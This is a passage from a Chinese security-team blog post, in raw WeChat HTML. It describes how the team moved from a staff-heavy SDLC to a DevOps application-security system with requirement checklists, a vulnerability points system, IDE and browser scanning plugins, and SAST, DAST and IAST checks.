sans-serif;">17年起，我们引入建立了适合内部研发的SDLC流程，在传统的研发模式下，一个需求从意向拆分到用户故事，再到开发子任务，一次迭代大多都要经过2周以上的时间。经过重人力运营的严格SDLC活动（各业务开发条线配备一名或多名专职安全运营人力进入开发团队深度运营），完成下来基本上可以极大的降低应用安全风险。但随着这两年公司IT人力迅速扩张，以及各类业务需求的爆发增长，推动着敏捷开发的迭代周期不断缩短，倒逼研发模式向DevOps转型。这种状态下，重人力运营的SDLC逐渐成为整个开发流程中的短板，对于动辄数千个应用的组织来说，也只能挑选重要的业务系统执行SDLC，大量内网应用无人力覆盖，而且在新时期对更频繁、快捷、可靠以及智能的要求下，愈发凸显出这种模式的缺点，由此必须转变思维，建设在敏捷模式下的广义应用安全体系。</span></section><section style="font-family: Optima-Regular, PingFangTC-light;"><br/></section><section data-tools="135编辑器" data-id="97617"><section style="margin: 10px auto;text-align: left;font-family: Optima-Regular, PingFangTC-light;"><section style="display:inline-block;"><section style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9iaOyVQ1RAQE5LSLOTylAMxEDHpdgtDBjuVOCuvast0KrS59bg9l5Picw/640?wx_fmt=gif&#34;);background-attachment: initial;background-origin: initial;background-clip: initial;background-repeat: no-repeat;background-size: 4px;background-position: left center;padding-left: 4px;"><section data-brushtype="text" style="background-color: rgb(244, 246, 255);letter-spacing: 1.5px;font-size: 16px;padding: 5px 1em;font-weight: bold;box-sizing: border-box;color:#000;"><span style="font-size: 15px;">SDLC模式</span></section></section></section></section></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">SDLC是定义在安全团队及研发团队共同配合下的安全活动，在对需求做完安全评审以后，除了最终需要安全团队执行的安全测试外其余都需要研发团队独立完成。</span></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="0.5245441795231417" data-s="300,640" style="" data-type="png" data-w="1426" src="https://wechat2rss.xlab.app/img-proxy/?k=db96a6c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9mjMFGYIFAmIIGkZpXe7pBFfoT2QlPkzb8K7jUSqz34I9iaNVVm12L8w%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;"></span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="color: rgb(56, 88, 254);"><strong><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">安全需求识别：</span></strong></span><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">研发团队架构师识别哪些需求是涉及到的安全。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="color: rgb(56, 88, 254);"><strong><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">安全设计环节：</span></strong></span><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">安全团队针对开发子任务给出指导性安全checklist，开发团队针对涉及到的接口做安全设计。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="color: rgb(56, 88, 254);"><strong><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">安全设计审查：</span></strong></span><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">开发团队架构师对安全设计做审查，评估安全设计无问题即可进入正常编码环节。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">这几个环节下来，如果由开发完全独自执行，对于安全意识不够强的研发同事来说，安全设计的质量无法保证，这个时候基本上是安全团队在测试过程中对发现的安全漏洞进行溯源，定位安全设计及审查环节的问题，做常态化的检查。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">在重要系统实践了一个时期后，绝大数研发团队的安全意识及安全编码能力得到了极大提升，遗留到测试环境下的漏洞数也大幅减少。当然，SDLC的推行需要领导的大力支持。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;"><br/></span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">但在实践中也发现存在一些安全设计质量不佳的情况，仔细定位下来发现基本上是：</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">1、新入职的员工即使经过强制安全培训后，安全设计及安全编码依旧质量不足；</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">2、研发团队懈怠情况。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;">为此我们建设了<strong>漏洞积分</strong>，每个漏洞关闭时都必须对应到漏洞开发人员</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;">/</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;">小组</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;">/</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;">部门，积分到达一定限度后，强制进行安全考试，回炉接受再教育再次进行安全培训（类似驾照违规重新考试</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;">）。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;">此外依据这些数据对研发团队针对性的培训宣导，持续根据执行结果进行周期回溯检查。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section data-tools="135编辑器" data-id="97617"><section style="margin: 10px auto;text-align: left;font-family: Optima-Regular, PingFangTC-light;"><section style="display:inline-block;"><section style="background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9iaOyVQ1RAQE5LSLOTylAMxEDHpdgtDBjuVOCuvast0KrS59bg9l5Picw/640?wx_fmt=gif&#34;);background-attachment: initial;background-origin: initial;background-clip: initial;background-repeat: no-repeat;background-size: 4px;background-position: left center;padding-left: 4px;"><section data-brushtype="text" style="background-color: rgb(244, 246, 255);letter-spacing: 1.5px;font-size: 16px;padding: 5px 1em;font-weight: bold;box-sizing: border-box;color:#000;" hm_fix="332:328"><span style="font-size: 15px;">DevOps下的应用安全管控体系</span></section></section></section></section></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">在以上的模式下，互联网的业务系统经过严格的SDLC后再进行发布，安全问题得到了保障。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">但随着执行经验的积累，问题也随之而来：</span></section><section data-role="list"><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">1、如开篇所说，在向DevOps转型的过程中，动辄每周1次或多次的发版频率下，安全人力介入作为开发流程中关键的节点显然成为了瓶颈，业务需求的快速增长给人工评审及人工安全测试带来巨大压力；</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">2、在人力方面，显然不可能无休止增加投入，更重要的是安全工程师水平差异导致各业务线的安全性差异，人永远无法作为一个衡量安全管控标准的尺度；</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">3、虽然互联网应用已用此方投入大量人力堆了下来，但面对规模更大、更复杂的内网应用怎么管？用脚想也不能生搬硬套；</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">4、理想状态下SDLC应该是研发团队自驱执行的，安全一直在深度介入、带领的安全开发流程，不利于研发团队安全能力的长效实质提升，可能安全工程师一松懈，安全执行标准就下降。</span></section></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">所以当安全把控的效率及覆盖面上有了更高要求时，要根本解决这个困境，首要的是改变环境，通过安全基建去创造优化安全开发的环境，重新设计构建适用的应用安全管控体系。</span></section><section data-id="97617"><section><section><section><section style="font-family: Optima-Regular, PingFangTC-light;"><br/></section><section data-tools="新媒体排版" data-id="13870" data-style-type="标题"><section style="max-width: 100%;font-family: Optima-Regular, PingFangTC-light;"><section style="display: flex;justify-content: center;max-width: 100%;"><section style="border-width: 1px;border-style: solid;width: 30px;height: 30px;max-width: 100%;border-color:rgb(56, 88, 254);"><br style="display:none;"/></section><section style="font-family: PingFangSC-Semibold;font-size: 16px;letter-spacing: 2.56px;z-index: 1;margin-left: -15px;height: 22px;line-height: 22px;margin-top: 4px;white-space: nowrap;overflow: hidden;max-width: 100%;color:rgb(0, 0, 0);background-color:white;"><section style="min-width: 16px;max-width: 100%;">“要求—检查—管控—防护”</section></section></section></section></section><section style="font-family: Optima-Regular, PingFangTC-light;"><br/></section></section></section></section></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: Helvetica, Arial, sans-serif;">从应用的整个生命周期来说，这是应用安全管控的主干思维流程，应用的变更大部分都体现为需求，在对研发流程上各类纬度的要求都可以体现在对需求的要求提示上。</span></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="0.48812664907651715" data-s="300,640" style="" data-type="png" data-w="1516" src="https://wechat2rss.xlab.app/img-proxy/?k=5e4644f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9yxY0j3iadZGZQCmJeee8VuE74OSvEpCIia37tfAGKpVPRQqn1azicnIGg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: left;font-family: Optima-Regular, PingFangTC-light;"><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">整体的建设思路可类比为现代化交通治理的逻辑，将应用的构建、测试到发布线比作一条高速公路：</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">将安全介入执行的</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">SDLC</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">比作载客大巴，安全是司机；将开发团队独自执行</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">SDLC</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">比作自驾；</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">应用安全的执行要求是交通法规；</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">检查手段是高速上的各类传感器（测试器、探头等）；</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">管控手段是上高速的收费站，也可以是驾照的扣分制度；</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">防护手段即是高速上的应急车道…如何保证高速公路上车辆</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">有序、高效、安全的行驶，即是我们应用安全管控体系建设运营的启发参照。</span><span style="font-family: Helvetica, Arial, sans-serif;font-size: 14px;text-align: justify;">这么一想，豁然开朗…</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section data-tools="135编辑器" data-id="97642"><section style="margin: 10px auto;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><section data-tools="135编辑器" data-id="39"><section data-tools="135编辑器" data-id="93368"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="width: 100%;height: 1px;box-sizing: border-box;overflow: hidden;background-color:rgb(56, 88, 254);" data-width="100%"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;box-sizing: border-box;border-left:3px solid rgb(56, 88, 254);border-right:3px solid rgb(56, 88, 254);background-color:#ffffff;border-top-color:rgb(56, 88, 254);border-bottom-color:rgb(56, 88, 254);color:rgb(56, 88, 254);" data-brushtype="text">执行要求</section></section></section></section></section></section></span></section></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">执行要求中，不论是作为SDLC中接口安全设计checklist要求，或是数据共享管控要求、隐私合规要求、监测埋点需求等其他广义上的各类研发要求，这些都可以作为提示项，放入需求阶段（研发管理平台）或者接口设计阶段（接口管理系统）中的安全提示。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在内网应用需求上提供基于问答式的安全自检解决方案，后期可以做到更加具体细致，对涉及尽可能多的场景抽象出一些需求场景的评审checklist。</span></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="0.7731305449936628" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1578" src="https://wechat2rss.xlab.app/img-proxy/?k=583d959e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ94sBPTz1ydHEQzcHbqdjcyOmbcGfC4Lj6KiaLTLnUf0icRLsnIhoh6xDQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section><section data-tools="135编辑器" data-id="97642"><section style="margin:10px auto;"><section data-brushtype="text" style="font-size: 16px;" hm_fix="264:363"><section data-tools="135编辑器" data-id="93368"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="width: 100%;height: 1px;box-sizing: border-box;overflow: hidden;background-color: rgb(56, 88, 254);font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;font-family: Optima-Regular, PingFangTC-light;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;box-sizing: border-box;border-left:3px solid rgb(56, 88, 254);border-right:3px solid rgb(56, 88, 254);background-color:#ffffff;border-top-color:rgb(56, 88, 254);border-bottom-color:rgb(56, 88, 254);color:rgb(56, 88, 254);" data-brushtype="text"><span style="font-size: 14px;">编码阶段</span></section></section></section></section></section></section></section></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">接口设计中，将SDLC涉及的接口安全checklist作为接口设计（新增/修改）的必要属性。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">使用内部嵌入安全组件的开发框架，例如将esapi改进为适合内部框架的安全组件集成到开发框架中，供开发自行选择使用。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在编码环节，提供嵌入IDE的安全编码助手插件（开源工具二次开发改进），供开发人员自助进行代码扫描，前移代码扫描环节。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><img class="rich_pages" data-ratio="0.5559947299077734" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1518" src="https://wechat2rss.xlab.app/img-proxy/?k=1f3b1ff4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9rnUicLg3xeE3UfR2gbBsNUI05mHYZ6ibL70LOUujUiaYAYDEGzhlDDrvA%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section data-tools="135编辑器" data-id="93368"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="width: 100%;height: 1px;box-sizing: border-box;overflow: hidden;background-color: rgb(56, 88, 254);font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;font-family: Optima-Regular, PingFangTC-light;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;box-sizing: border-box;border-left:3px solid rgb(56, 88, 254);border-right:3px solid rgb(56, 88, 254);background-color:#ffffff;border-top-color:rgb(56, 88, 254);border-bottom-color:rgb(56, 88, 254);color:rgb(56, 88, 254);" data-brushtype="text"><span style="font-size: 14px;">测试阶段</span></section></section></section></section></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在DEV/SIT测试环节，提供浏览器插件，供开发/测试人员自助进行动态扫描，前移动态扫描环节。</span></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="0.455026455026455" data-s="300,640" style="" data-type="png" data-w="1512" src="https://wechat2rss.xlab.app/img-proxy/?k=049f99d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9UTH0o4ibuicvcP6Ewme0skPDicVgnZRu4pbZxFiaGOm0xytoRjfXGNFc8g%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section><section data-tools="135编辑器" data-id="93368"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="width: 100%;height: 1px;box-sizing: border-box;overflow: hidden;background-color: rgb(56, 88, 254);font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;font-family: Optima-Regular, PingFangTC-light;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;box-sizing: border-box;border-left:3px solid rgb(56, 88, 254);border-right:3px solid rgb(56, 88, 254);background-color:#ffffff;border-top-color:rgb(56, 88, 254);border-bottom-color:rgb(56, 88, 254);color:rgb(56, 88, 254);" data-brushtype="text"><span style="font-size: 14px;">检查阶段</span></section></section></section></section></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><strong><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">检查手段是关键一环</span><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">，需要做到有要求必有检出的能力。</span></strong><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这里需要建设一系列检查手段，包括SDLC执行规范质量检查、基于流量的DAST、基于堆栈的IAST、基于代码的SAST、基于包库的组件及依赖检查、人工安全测试的五种检查手段。</span></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section data-role="list"><ul style="padding-left: 30px;" class="list-paddingleft-2"><li><section style="line-height: 150%;text-align: left;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">SDLC执行检查（质量、规范），</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;">通过检测的版本迭代漏洞溯源SDLC执行过程质量。<span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;text-indent: 34px;"></span></span></section></li></ul></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="0.6675427069645203" data-s="300,640" style="font-family: Optima-Regular, PingFangTC-light;white-space: normal;font-size: 14px;text-indent: 34px;text-align: center;" data-type="png" data-w="1522" src="https://wechat2rss.xlab.app/img-proxy/?k=1c35708b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9XEACaLvAGee9IiaI72WIfcroHd5aeFibQ6ZtaX8uScicnTJ5yQm2RUZqA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: left;font-family: Optima-Regular, PingFangTC-light;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;text-align: left;text-indent: 34px;">通</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;font-size: 14px;text-align: left;text-indent: 34px;">过splunk自动化分析SDLC执行规范、制定违规通报。</span></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="0.48293963254593175" data-s="300,640" style="font-family: Optima-Regular, PingFangTC-light;text-align: center;white-space: normal;" data-type="png" data-w="1524" src="https://wechat2rss.xlab.app/img-proxy/?k=418c9d0a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9XapXD2jW344ibgEibgGfDGmd6dEOu4Y4jRhRicbeQ9q77WIORBj77dnCA%2F640%3Fwx_fmt%3Dpng"/></section><section data-role="list"><ul style="padding-left: 30px;" class="list-paddingleft-2"><li><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">DAST被动+主动式的动态扫描器（主动模式下，积累归集流量中采集到的报文，替换登录态随时执行主动全量扫描），可参看之前文章<a target="_blank" href="http://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483950&amp;idx=1&amp;sn=65a355d82a4a12f82ecc67882464add7&amp;chksm=cf345acff843d3d9d722fd1282d78f7771b6fdb7d221313d4252307a35c31322774b7ac0f522&amp;scene=21#wechat_redirect" textvalue="《被动式漏洞扫描平台建设之路》" data-itemshowtype="0" tab="innerlink" data-linktype="2">《被动式漏洞扫描平台建设之路》</a>。</span></section></li></ul></section><section data-role="list"><ul style="padding-left: 30px;" class="list-paddingleft-2"><li><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">SAST嵌入到CI流水线任务下的静态扫描器，确保每次git的代码提交都经过安全检测。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></section></li></ul></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="0.38618925831202044" data-s="300,640" style="" data-type="png" data-w="391" src="https://wechat2rss.xlab.app/img-proxy/?k=9023b23e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9Y2wosK4QcRoxlkOnugTeaGW1bjtWvuGk87pVTDLOMIAMztCBDZWIpw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;font-family: Optima-Regular, PingFangTC-light;"><img class="rich_pages" data-ratio="0.5286458333333334" data-s="300,640" style="" data-type="png" data-w="1536" src="https://wechat2rss.xlab.app/img-proxy/?k=5759cf20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z70KVNEFqcX7mqZnuK01HZ9UTgpzxzwtk86Ypyfg5HEuWn8B4h6dF0lgNZuMVjthPIEpLibpiaFjv8Q%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><br/></section><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">【存量及增量控制】</span></section><section data-role="list"><ul style="padding-left: 30px;" class="list-paddingleft-2"><li><section style="line-height: 150%;font-family: Optima-Regular, PingFangTC-light;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">建设另一种思路下的IAST能力，与APM监测工具合作，记录堆栈数据，离线准实时检测安全漏洞，可参看之前文章</span><a target="_blank" 